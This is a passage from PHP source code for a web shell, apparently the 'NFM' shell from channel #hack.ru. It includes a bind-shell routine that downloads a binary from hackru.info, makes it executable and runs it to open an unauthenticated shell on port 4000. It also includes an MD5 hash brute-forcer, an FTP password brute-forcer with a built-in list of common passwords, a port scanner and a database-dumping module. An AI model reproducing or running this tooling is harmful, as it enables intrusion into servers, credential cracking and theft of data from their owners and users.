size=90 class='inputbox'value='tar -zc /home/$name$http_public -f $name.tar.gz' ></td> + +<td valign=top><input type=submit value='GO' class=button1 $style_button></td> + +</tr></form></table>"; + + } + + } + +} + + + +# bindshell + +function bash() { + + global $action, $port_bind, $pass_key; + + + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Binding shell</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br>Current shell binds 4000 port, you may access to it by telneting to host:4000 port without password.</td></tr> + +</table><br>"; + + + +echo " + +<TABLE CELLPADDING=0 CELLSPACING=0 width='500' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b> Bindshell binary is situated in file called<u><i>s</i></u></b></td></tr>"; + + + +echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("wget http://hackru.info/adm/exploits/bash/s")."</b> Downloading...</td></tr>"; + +echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("chmod 777 s")."</b> now chmod to 777</td></tr>"; + +echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("./s")."</b> now running to 4000 port</td></tr>"; + +# echo "<tr><td align=center bgcolor=#FFFFCC><b>&nbsp; ".exec("rm -f s")."</b> Removing file<u>s</u> now...</td></tr>"; + +echo"</table>"; + + + + } + + + +function crypte() { + + global $action,$md5a,$sha1a,$crc32, $key,$string; + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Data crypter</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>Now there are many different programs and scripts, which uses a lot of passwords crypt methods (Do you remember what a phpBB is?=)), so with NFM you can crypt some strings to hashes, because sometimes you may need to change somebodyes data with your one =). Also you may change your pass to NFM here.</blockquote></td></tr> + +</table>"; + + + +echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=crypte' method=post> + + <tr><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Here are some useful cryption methods, which uses MHASH lib:</b></td></tr> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>MD5 </b>(Very popular and fast method)</td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;Result:&nbsp;&nbsp;<font color=#ffffcc><b>".md5($md5a)."</b></font></td> + + <td class=pagetitle width=100>&nbsp;Input:&nbsp;<font color=red><b>".$md5a."</b></font></td></tr> + + <tr><td align=center width=400><input class='inputbox'type='text' name='md5a' size='50' value='' id='md5a'></td> + + <td align=center width=100><input type='submit' value='Crypt MD5' class=button1 $style_button></td></tr> + + + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=crypte' method=post> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>SHA1 </b>(SHA1 - method to crypt with open key, It's very usefull too)</td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;Result:&nbsp;&nbsp;<font color=#ffffcc><b>".sha1($sha1a)."</b></font></td> + + <td class=pagetitle width=100>&nbsp;Input:&nbsp;<font color=red><b>".$sha1a."</b></font></td></tr> + + <tr><td align=center width=400><input class='inputbox' type='text' name='sha1a' size='50' value='' id='sha1a'> + + </td><td align=center width=100><input type='submit' value='Crypt SHA1' class=button1 $style_button></td></tr> + + + + </form></table>"; + +echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=crypte' method=post> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500> + + &nbsp;&nbsp;<b>CRC32 </b>(Most used when making CRC check of data, but you can find a host with forum, with passwords, crypted by CRC32)</td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;Result:&nbsp;&nbsp;<font color=#ffffcc><b>".crc32($crc32)."</b></font></td> + + <td class=pagetitle width=100>&nbsp;Input:&nbsp;<font color=red><b>".$crc32."</b></font></td></tr> + + <tr><td align=center width=400><input class='inputbox' type='text' name='crc32' size='50' value='' id='crc32'></td><td width=100 align=center><input type='submit' value='Crypt CRC32' class=button1 $style_button></td></tr> + + + + </form></table>"; + + + + } + + + +function decrypte() { + + global $action,$pass_de,$chars_de,$dat,$date; + +set_time_limit(0); + +ignore_user_abort(1); + + + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Data decrypter</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>It's known all over the world, that MD5 crypt algorithm has no way to decrypt it, because it uses hashes. The one and only one way to try read what the hash is - to generate some hashes and then to compare them with source hash needed to be decrypted ... So this is bruteforce.</blockquote></td></tr> + +</table>"; + + + +if($chars_de==""){$chars_de="";} + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form action='$PHP_SELF?action=decrypte' method=post name=hackru><tr><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Data decrypter:</b></td></tr> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500> + + &nbsp;&nbsp;<b>Decrypt MD5</b>(decryption time depends on the length or crypted word, may take a long time)</td></tr> + + <tr> + + <td class=pagetitle width=400 >&nbsp;MD5 hash:&nbsp;&nbsp;<font color=#ffffcc><b>".$pass_de."</b></font></td><td width=100 align=center>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=reset value=Clear class=button1 $style_button></td> + + <tr><td align=left width=400 >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<textarea class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td> + + <td class=pagetitle width=120 valign=top><b>Symvols for bruteforce:</b><br><font color=red><b><u>ENG:</u></b></font> + + <a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a> + +<a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a> + +<a class=menu href=javascript:ins('0123456789')>[0-9]</a> + +<a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?&gt;<[]{}:?.,&quot;')>[Symvols]</a><br><br> + +<font color=red><b><u>RUS:</u></b></font> + +<a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a> + +<a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a> + +</td></tr> + +<tr><td align=center width=400> + +<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''></td><td width=100 align=center><input type='submit' value='Decrypt MD5' class=button1 $style_button> + +</td></tr> + + + + </form></table>"; + + + + + +if($_POST[pass_de]){ + +$pass_de=htmlspecialchars($pass_de); + +$pass_de=stripslashes($pass_de); + +$dat=date("H:i:s"); + +$date=date("d:m:Y"); + + + +crack_md5(); + +} + +} + + + +function crack_md5() { + +global $chars_de; + +$chars=$_POST[chars]; + +set_time_limit(0); + +ignore_user_abort(1); + +$chars_de=str_replace("<",chr(60),$chars_de); + +$chars_de=str_replace(">",chr(62),$chars_de); + +$c=strlen($chars_de); + +for ($next = 0; $next <= 31; $next++) { + +for ($i1 = 0; $i1 <= $c; $i1++) { + +$word[1] = $chars_de{$i1}; + +for ($i2 = 0; $i2 <= $c; $i2++) { + +$word[2] = $chars_de{$i2}; + +if ($next <= 2) { + +result(implode($word)); + +}else { + +for ($i3 = 0; $i3 <= $c; $i3++) { + +$word[3] = $chars_de{$i3}; + +if ($next <= 3) { + +result(implode($word)); + +}else { + +for ($i4 = 0; $i4 <= $c; $i4++) { + +$word[4] = $chars_de{$i4}; + +if ($next <= 4) { + +result(implode($word)); + +}else { + +for ($i5 = 0; $i5 <= $c; $i5++) { + +$word[5] = $chars_de{$i5}; + +if ($next <= 5) { + +result(implode($word)); + +}else { + +for ($i6 = 0; $i6 <= $c; $i6++) { + +$word[6] = $chars_de{$i6}; + +if ($next <= 6) { + +result(implode($word)); + +}else { + +for ($i7 = 0; $i7 <= $c; $i7++) { + +$word[7] = $chars_de{$i7}; + +if ($next <= 7) { + +result(implode($word)); + +}else { + +for ($i8 = 0; $i8 <= $c; $i8++) { + +$word[8] = $chars_de{$i8}; + +if ($next <= 8) { + +result(implode($word)); + +}else { + +for ($i9 = 0; $i9 <= $c; $i9++) { + +$word[9] = $chars_de{$i9}; + +if ($next <= 9) { + +result(implode($word)); + +}else { + +for ($i10 = 0; $i10 <= $c; $i10++) { + +$word[10] = $chars_de{$i10}; + +if ($next <= 10) { + +result(implode($word)); + +}else { + +for ($i11 = 0; $i11 <= $c; $i11++) { + +$word[11] = $chars_de{$i11}; + +if ($next <= 11) { + +result(implode($word)); + +}else { + +for ($i12 = 0; $i12 <= $c; $i12++) { + +$word[12] = $chars_de{$i12}; + +if ($next <= 12) { + +result(implode($word)); + +}else { + +for ($i13 = 0; $i13 <= $c; $i13++) { + +$word[13] = $chars_de{$i13}; + +if ($next <= 13) { + +result(implode($word)); + +}else { + +for ($i14 = 0; $i14 <= $c; $i14++) { + +$word[14] = $chars_de{$i14}; + +if ($next <= 14) { + +result(implode($word)); + +}else { + +for ($i15 = 0; $i15 <= $c; $i15++) { + +$word[15] = $chars_de{$i15}; + +if ($next <= 15) { + +result(implode($word)); + +}else { + +for ($i16 = 0; $i16 <= $c; $i16++) { + +$word[16] = $chars_de{$i16}; + +if ($next <= 16) { + +result(implode($word)); + +}else { + +for ($i17 = 0; $i17 <= $c; $i17++) { + +$word[17] = $chars_de{$i17}; + +if ($next <= 17) { + +result(implode($word)); + +}else { + +for ($i18 = 0; $i18 <= $c; $i18++) { + +$word[18] = $chars_de{$i18}; + +if ($next <= 18) { + +result(implode($word)); + +}else { + +for ($i19 = 0; $i19 <= $c; $i19++) { + +$word[19] = $chars_de{$i19}; + +if ($next <= 19) { + +result(implode($word)); + +}else { + +for ($i20 = 0; $i20 <= $c; $i20++) { + +$word[20] = $chars_de{$i20}; + +if ($next <= 20) { + +result(implode($word)); + +}else { + +for ($i21 = 0; $i21 <= $c; $i21++) { + +$word[21] = $chars_de{$i21}; + +if ($next <= 21) { + +result(implode($word)); + +}else { + +for ($i22 = 0; $i22 <= $c; $i22++) { + +$word[22] = $chars_de{$i22}; + +if ($next <= 22) { + +result(implode($word)); + +}else { + +for ($i23 = 0; $i23 <= $c; $i23++) { + +$word[23] = $chars_de{$i23}; + +if ($next <= 23) { + +result(implode($word)); + +}else { + +for ($i24 = 0; $i24 <= $c; $i24++) { + +$word[24] = $chars_de{$i24}; + +if ($next <= 24) { + +result(implode($word)); + +}else { + +for ($i25 = 0; $i25 <= $c; $i25++) { + +$word[25] = $chars_de{$i25}; + +if ($next <= 25) { + +result(implode($word)); + +}else { + +for ($i26 = 0; $i26 <= $c; $i26++) { + +$word[26] = $chars_de{$i26}; + +if ($next <= 26) { + +result(implode($word)); + +}else { + +for ($i27 = 0; $i27 <= $c; $i27++) { + +$word[27] = $chars_de{$i27}; + +if ($next <= 27) { + +result(implode($word)); + +}else { + +for ($i28 = 0; $i28 <= $c; $i28++) { + +$word[28] = $chars_de{$i28}; + +if ($next <= 28) { + +result(implode($word)); + +}else { + +for ($i29 = 0; $i29 <= $c; $i29++) { + +$word[29] = $chars_de{$i29}; + +if ($next <= 29) { + +result(implode($word)); + +}else { + +for ($i30 = 0; $i30 <= $c; $i30++) { + +$word[30] = $chars_de{$i30}; + +if ($next <= 30) { + +result(implode($word)); + +}else { + +for ($i31 = 0; $i31 <= $c; $i31++) { + +$word[31] = $chars_de{$i31}; + +if ($next <= 31) { + +result(implode($word)); + + + +}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} + + + +function result($word) { + +global $dat,$date; + +$pass_de=$_POST[pass_de]; + +$dat2=date("H:i:s"); + +$date2=date("d:m:Y"); + + + +if(md5($word)==$pass_de){ + +print " + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=left valign=top colspan=2 bgcolor=#FFFFCC>&nbsp;&nbsp; Brutefrcing result:</td></tr> + + <tr><td class=pagetitle width=400>&nbsp;&nbsp;<b>crypted Hash:</b></td><td class=pagetitle width=100><font color=red>&nbsp;&nbsp;<b>$word</b></font></td></tr> + + <tr><td class=pagetitle width=200>&nbsp;&nbsp;<b>Bruteforce start:</b></td><td class=pagetitle width=200><font color=#ffffcc>&nbsp;&nbsp;<b>$dat - $date</b></font></td></tr> + + <tr><td class=pagetitle width=200>&nbsp;&nbsp;<b>Bruteforce finish:</b></td><td class=pagetitle width=200><font color=#ffffcc>&nbsp;&nbsp;<b>$dat2 - $date2</b></font></td></tr> + + <tr><td align=left valign=top colspan=2 bgcolor=#FFFFCC>&nbsp;&nbsp;result was wrote to file: <b>".$word."_md5</b></td></tr> + +</table> + + "; + + $f=@fopen($word._md5,"a+"); + + fputs($f,"Decrypted MD5 hash [$pass_de] = $word\nBruteforce start:\t$dat - $date\Bruteforce finish:\t$dat2 - $date2\n "); + + exit;} + + + + + + + +} + + + +function brut_ftp() { + + global $action,$private_site, $title_exp,$login, $host, $file, $chislo, $proverka; + +set_time_limit(0); + +ignore_user_abort(1); + +echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>FTP bruteforce</b></font></b></td></tr> +<tr><td bgcolor=#FFFFCC><br><blockquote>This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload . </blockquote></td></tr> + +</table>"; + + + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form action='$PHP_SELF?action=brut_ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Brut FTP:</b></td></tr> + + <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500> + + &nbsp;&nbsp;<b>FTP bruteforce</b>(full bruteforce, you are only to enter a value of number of passwords and brute will begin from password-list file, which script generates itself on the fly!)</td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTPHost:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='host' size=50></td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='login' size=50></td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Number of passwords:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='chislo' size=10></td></tr> + +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Password to test:</td> + +<td align=left width=350>&nbsp;&nbsp;&nbsp; + +<input class='inputbox' type='text' name='proverka' size=50></td></tr> + +<tr><td width=500 align=center colspan=2><input type='submit' value='FTP brute start' class=button1 $style_button> + +</td></tr> + + + + </form></table>"; + + + + + +function s() { + + $word="qwrtypsdfghjklzxcvbnm"; + + return $word[mt_rand(0,strlen($word)-1)]; + +} + + + +function g() { + + $word="euioam"; + + return $word[mt_rand(0,strlen($word)-2)]; + +} + + + +function name0() { return s().g().s(); } + +function name1() { return s().g().s().g(); } + +function name2() { return s().g().g().s(); } + +function name3() { return s().s().g().s().g(); } + +function name4() { return g().s().g().s().g(); } + +function name5() { return g().g().s().g().s(); } + +function name6() { return g().s().s().g().s(); } + +function name7() { return s().g().g().s().g(); } + +function name8() { return s().g().s().g().g(); } + +function name9() { return s().g().s().g().s().g(); } + +function name10() { return s().g().s().s().g().s().s(); } + +function name11() { return s().g().s().s().g().s().s().g(); } + + + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); + +$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker'); + + + +function randword() { + + global $cool; + + $func="name".mt_rand(0,11); + + $func2="name".mt_rand(0,11); + + switch (mt_rand(0,11)) { + + case 0: return $func().mt_rand(5,99); + + case 1: return $func()."-".$func2(); + + case 2: return $func().$cool[mt_rand(0,count($cool)-1)]; + + case 3: return $func()."!".$func(); + + case 4: return randpass(mt_rand(5,12)); + + default: return $func(); + + } + + + + + +} + + + +function randpass($len) { + + $word="qwertyuiopasdfghjklzxcvbnm1234567890"; + + $s=""; + + for ($i=0; $i<$len; $i++) { + + $s.=$word[mt_rand(0,strlen($word)-1)]; + + } + + return $s; + +} + +if (@unlink("pass.txt") < 0){ + +echo "nothing"; + +exit; + +} + +$file="pass.txt"; + +if($file && $host && $login){ + + $cn=mt_rand(30,30); + +for ($i=0; $i<$cn; $i++) { + + $s=$cool2[$i]; + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$s\n"); + + } + + + + $cnt2=mt_rand(43,43); + +for ($i=0; $i<$cnt2; $i++) { + + $r=$cool[$i]; + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$login$r\n"); + +} + +$p="$proverka"; + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$p\n"); + + + + $cnt3=mt_rand($chislo,$chislo); + + for ($i=0; $i<$cnt3; $i++) { + + $u=randword(); + + $f=@fopen(pass.".txt","a+"); + + fputs($f,"$u\n"); + + } + + + + if(is_file($file)){ + + $passwd=file($file,1000); + + for($i=0; $i<count($passwd); $i++){ + + $stop=false; + + $password=trim($passwd[$i]); + + $open_ftp=@fsockopen($host,21); + + if($open_ftp!=false){ + + fputs($open_ftp,"user $login\n"); + + fputs($open_ftp,"pass $password\n"); + + while(!feof($open_ftp) && $stop!=true){ + + $text=fgets($open_ftp,4096); + + if(preg_match("/230/",$text)){ + + $stop=true; + + $f=@fopen($host._ftp,"a+"); + + fputs($f,"Enter on ftp:\nFTPhosting:\t$host\nLogin:\t$login\nPassword:\t$password\n "); + + + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b><font color=\"blue\">Congratulations! Password is known now.</font></b><br> + +&nbsp;&nbsp;Connected to: <b>$host</b><br>&nbsp;&nbsp;with login: <b>$login</b><br>&nbsp;&nbsp;with password: <b>$password</b></td></tr></table> + +";exit; + + } + + elseif(preg_match("/530/",$text)){ + + $stop=true; + + + + } + + } + + fclose($open_ftp); + + }else{ + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle bgcolor=#FF0000><b>FTP is incorrect!!! At <b><u>$host</u></b> 21 port is closed! check your settings</b></b></td></tr> + +</table> + +";exit; + + } + + } + + } + +} + + + +} + + + +# port scanner + +function portscan() { + + global $action,$portscan,$port,$HTTP_HOST,$min,$max; + + + + $mtime = explode(" ",microtime()); + + $mtime = $mtime[1] + $mtime[0]; + + $time1 = $mtime; + + + + $id = $HTTP_HOST; + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Scan results:</b>&nbsp;&nbsp;$id</td></tr><tr><td valign=top class=pagetitle >Scanning host to find any reachable and open ports" . "...<br></td></tr></table>"; + + + + $lport = $min; + + $hport = $max; + + $op = 0; + + $gp = 0; + + + + for ($porta=$lport; $porta<=$hport; $porta++) { + + $fp = @fsockopen("$id", $porta, &$errno, &$errstr, 4); + + if ( !$fp ) { $gp++; } + + else { + + $port_addres = $port[$porta]; + + if($port_addres == "") $port_addres = "unknown"; + + $serv = getservbyport($porta, TCP); + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#FFFFCC BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center width=10%>Port:<b>$porta / $serv</b></td><td align=center width=80%>$port_addres</td><td align=center width=10%>(<a href=\"http://www.google.de/search?q=%22$port_addres2%22&ie=ISO-8859-1&hl=de&btnG=Google+Suche&meta=\" target=_blank>What's the service is?</a>)</td></tr>"; + + $op++; + + } + + } + + + + if($op == 0) echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Current host seems don't have any open port...hmm, but you're connected to it to 80...check out firewall</b></td></tr></table>"; + + + + $unsi = ($op/$porta)*100; + + $unsi = round($unsi); + + + + echo "<tr><td align=center width=100% bgcolor=#184984 class=pagetitle colspan=3><b>Scan statistics:</b></b></td></tr>"; + + echo "<tr><td align=center width=100% colspan=3><b>Scanned ports:</b>&nbsp;&nbsp;$porta</td></tr>"; + + echo "<tr><td align=center width=100% colspan=3><b>Open ports:</b>&nbsp;&nbsp;$op</td></tr>"; + + echo "<tr><td align=center width=100% colspan=3><b>Closed ports:</b>&nbsp;&nbsp;$gp</td></tr>"; + + + + $mtime = explode(" ",microtime()); + + $mtime = $mtime[1] + $mtime[0]; + + $time2 = $mtime; + + $loadtime = ($time2 - $time1); + + $loadtime = round($loadtime, 2); + + + + echo "<tr colspan=2><td align=center width=100% colspan=3><b>Scan time:</b>&nbsp;&nbsp;$loadtime seconds</tr></table>"; + +} + + + +function nfm_copyright() { + +global $action,$upass,$uname,$nfm; + + return "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#ffffcc BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#000000' face='Tahoma' size = 2><b>Powered by channel #hack.ru (author xoce). Made In Russia </b></font></center></td></tr></table></body></html>"; + + + +} + +// =-=-=-=-= SQL MODULE =-=-=-=-= + +// SQL functions start + +function aff_date() { + + $date_now=date("F j,Y,g:i a"); + + return $date_now; + +} + + + +function sqldumptable($table) { + + global $sv_s,$sv_d,$drp_tbl; + + $tabledump = ""; + + if ($sv_s) { + + if ($drp_tbl) { $tabledump.="DROP TABLE IF EXISTS $table;\n"; } + + $tabledump.="CREATE TABLE $table (\n"; + + $firstfield=1; + + $champs=mysql_query("SHOW FIELDS FROM $table"); + + while ($champ=mysql_fetch_array($champs)) { + + if (!$firstfield) { $tabledump.=",\n"; } + + else { $firstfield=0;} + + $tabledump.=" $champ[Field] $champ[Type]"; + + if ($champ['Null'] !="YES") { $tabledump.=" NOT NULL";} + + if (!empty($champ['Default'])) { $tabledump.=" default '$champ[Default]'";} + + if ($champ['Extra'] !="") { $tabledump.=" $champ[Extra]";} + + } + + + + @mysql_free_result($champs); + + $keys=mysql_query("SHOW KEYS FROM $table"); + + while ($key=mysql_fetch_array($keys)) { + + $kname=$key['Key_name']; + + if ($kname !="PRIMARY" and $key['Non_unique']==0) { $kname="UNIQUE|$kname";} + + if(!is_array($index[$kname])) { $index[$kname]=array();} + + $index[$kname][]=$key['Column_name']; + + } + + + + @mysql_free_result($keys); + + while(list($kname,$columns)=@each($index)) { + + $tabledump.=",\n"; + + $colnames=implode($columns,","); + + if($kname=="PRIMARY") { $tabledump.=" PRIMARY KEY ($colnames)";} + + else { + + if (substr($kname,0,6)=="UNIQUE") { $kname=substr($kname,7);} + + $tabledump.=" KEY $kname ($colnames)"; + + } + + } + + $tabledump.="\n);\n\n"; + + } + + + + if ($sv_d) { + + $rows=mysql_query("SELECT * FROM $table"); + + $numfields=mysql_num_fields($rows); + + while ($row=mysql_fetch_array($rows)) { + + $tabledump.="INSERT INTO $table VALUES("; + + $cptchamp=-1; + + $firstfield=1; + + while (++$cptchamp<$numfields) { + + if (!$firstfield) { $tabledump.=",";} + + else { $firstfield=0;} + + if (!isset($row[$cptchamp])) {$tabledump.="NULL";} + + else { $tabledump.="'".mysql_escape_string($row[$cptchamp])."'";} + + } + + $tabledump.=");\n"; + + } + + @mysql_free_result($rows); + + } + + + + return $tabledump; + +} + + + +function csvdumptable($table) { + + global $sv_s,$sv_d; + + $csvdump="## Table:$table \n\n"; + + if ($sv_s) { + + $firstfield=1; + + $champs=mysql_query("SHOW FIELDS FROM $table"); + + while ($champ=mysql_fetch_array($champs)) { + + if (!$firstfield) { $csvdump.=",";} + + else { $firstfield=0;} + + $csvdump.="'".$champ['Field']."'"; + + } + + + + @mysql_free_result($champs); + + $csvdump.="\n"; + + } + + + + if ($sv_d) { + + $rows=mysql_query("SELECT * FROM $table"); + + $numfields=mysql_num_fields($rows); + + while ($row=mysql_fetch_array($rows)) { + + $cptchamp=-1; + + $firstfield=1; + + while (++$cptchamp<$numfields) { + + if (!$firstfield) { $csvdump.=",";} + + else { $firstfield=0;} + + if (!isset($row[$cptchamp])) { $csvdump.="NULL";} + + else { $csvdump.="'".addslashes($row[$cptchamp])."'";} + + } + + $csvdump.="\n"; + + } + + } + + + + @mysql_free_result($rows); + + return $csvdump; + +} + + + +function write_file($data) { + + global $g_fp,$file_type; + + if ($file_type==1) { gzwrite($g_fp,$data); } + + else { fwrite ($g_fp,$data); } + +} + + + +function open_file($file_name) { + + global $g_fp,$file_type,$dbbase,$f_nm; + + if ($file_type==1) { $g_fp=gzopen($file_name,"wb9"); } + + else { $g_fp=fopen ($file_name,"w"); } + + + + $f_nm[]=$file_name; + + $data=""; + + $data.="##\n"; + + $data.="## NFM hack.ru creator \n"; + + $data.="##-------------------------\n"; + + $data.="## Date:".aff_date()."\n"; + + $data.="## Base:$dbbase \n"; + + $data.="##-------------------------\n\n"; + + write_file($data); + + unset($data); + +} + + + +function file_pos() { + + global $g_fp,$file_type; + + if ($file_type=="1") { return gztell ($g_fp); } + + else { return ftell ($g_fp); } + +} + + + +function close_file() { + + global $g_fp,$file_type; + + if ($file_type=="1") { gzclose ($g_fp); } + + else { fclose ($g_fp); } + +} + + + +function split_sql_file($sql) { + + $morc=explode(";",$sql); + + $sql=""; + + $output=array(); + + $matches=array(); + + $morc_cpt=count($morc); + + for ($i=0;$i < $morc_cpt;$i++) { + + if (($i !=($morc_cpt-1)) || (strlen($morc[$i] > 0))) { + + $total_quotes=preg_match_all("/'/",$morc[$i],$matches); + + $escaped_quotes=preg_match_all("/(?<!\\\\)(\\\\\\\\)*\\\\'/",$morc[$i],$matches); + + $unescaped_quotes=$total_quotes-$escaped_quotes; + + if (($unescaped_quotes % 2)==0) { $output[]=$morc[$i]; $morc[$i]=""; } + + else { + + $temp=$morc[$i].";"; + + $morc[$i]=""; + + $complete_stmt=false; + + for ($j=$i+1;(!$complete_stmt && ($j < $morc_cpt));$j++) { + + $total_quotes = preg_match_all("/'/",$morc[$j],$matches); + + $escaped_quotes=preg_match_all("/(?<!\\\\)(\\\\\\\\)*\\\\'/",$morc[$j],$matches); + + $unescaped_quotes=$total_quotes-$escaped_quotes; + + if (($unescaped_quotes % 2)==1) { + + $output[]=$temp.$morc[$j]; + + $morc[$j]=""; + + $temp=""; + + $complete_stmt=true; + + $i=$j; + + } else { + + $temp.=$morc[$j].";"; + + $morc[$j]=""; + + } + + } + + } + + } + + } + + return $output; + +} + + + +function split_csv_file($csv) { return explode("\n",$csv); } + +// SQL functions END + + + +// main SQL() + +function sql() { + + global $sqlaction,$sv_s,$sv_d,$drp_tbl,$g_fp,$file_type,$dbbase,$f_nm; + + $secu_config="xtdump_conf.inc.php"; + + $dbhost=$_POST['dbhost']; + + $dbuser=$_POST['dbuser']; + + $dbpass=$_POST['dbpass']; + + $dbbase=$_POST['dbbase']; + + $tbls =$_POST['tbls']; + + $sqlaction =$_POST['sqlaction']; + + $secu =$_POST['secu']; + + $f_cut =$_POST['f_cut']; + + $fz_max =$_POST['fz_max']; + + $opt =$_POST['opt']; + + $savmode =$_POST['savmode']; + + $file_type =$_POST['file_type']; + + $ecraz =$_POST['ecraz']; + + $f_tbl =$_POST['f_tbl']; + + $drp_tbl=$_POST['drp_tbl']; + + + + $header="<center><table width=620 cellpadding=0 cellspacing=0 align=center><col width=1><col width=600><col width=1><tr><td></td><td align=left class=texte><br>"; + + $footer="<center><a href='javascript:history.go(-1)' target='_self' class=link>-go back-</a><br></center><br></td><td></td></tr><tr><td height=1 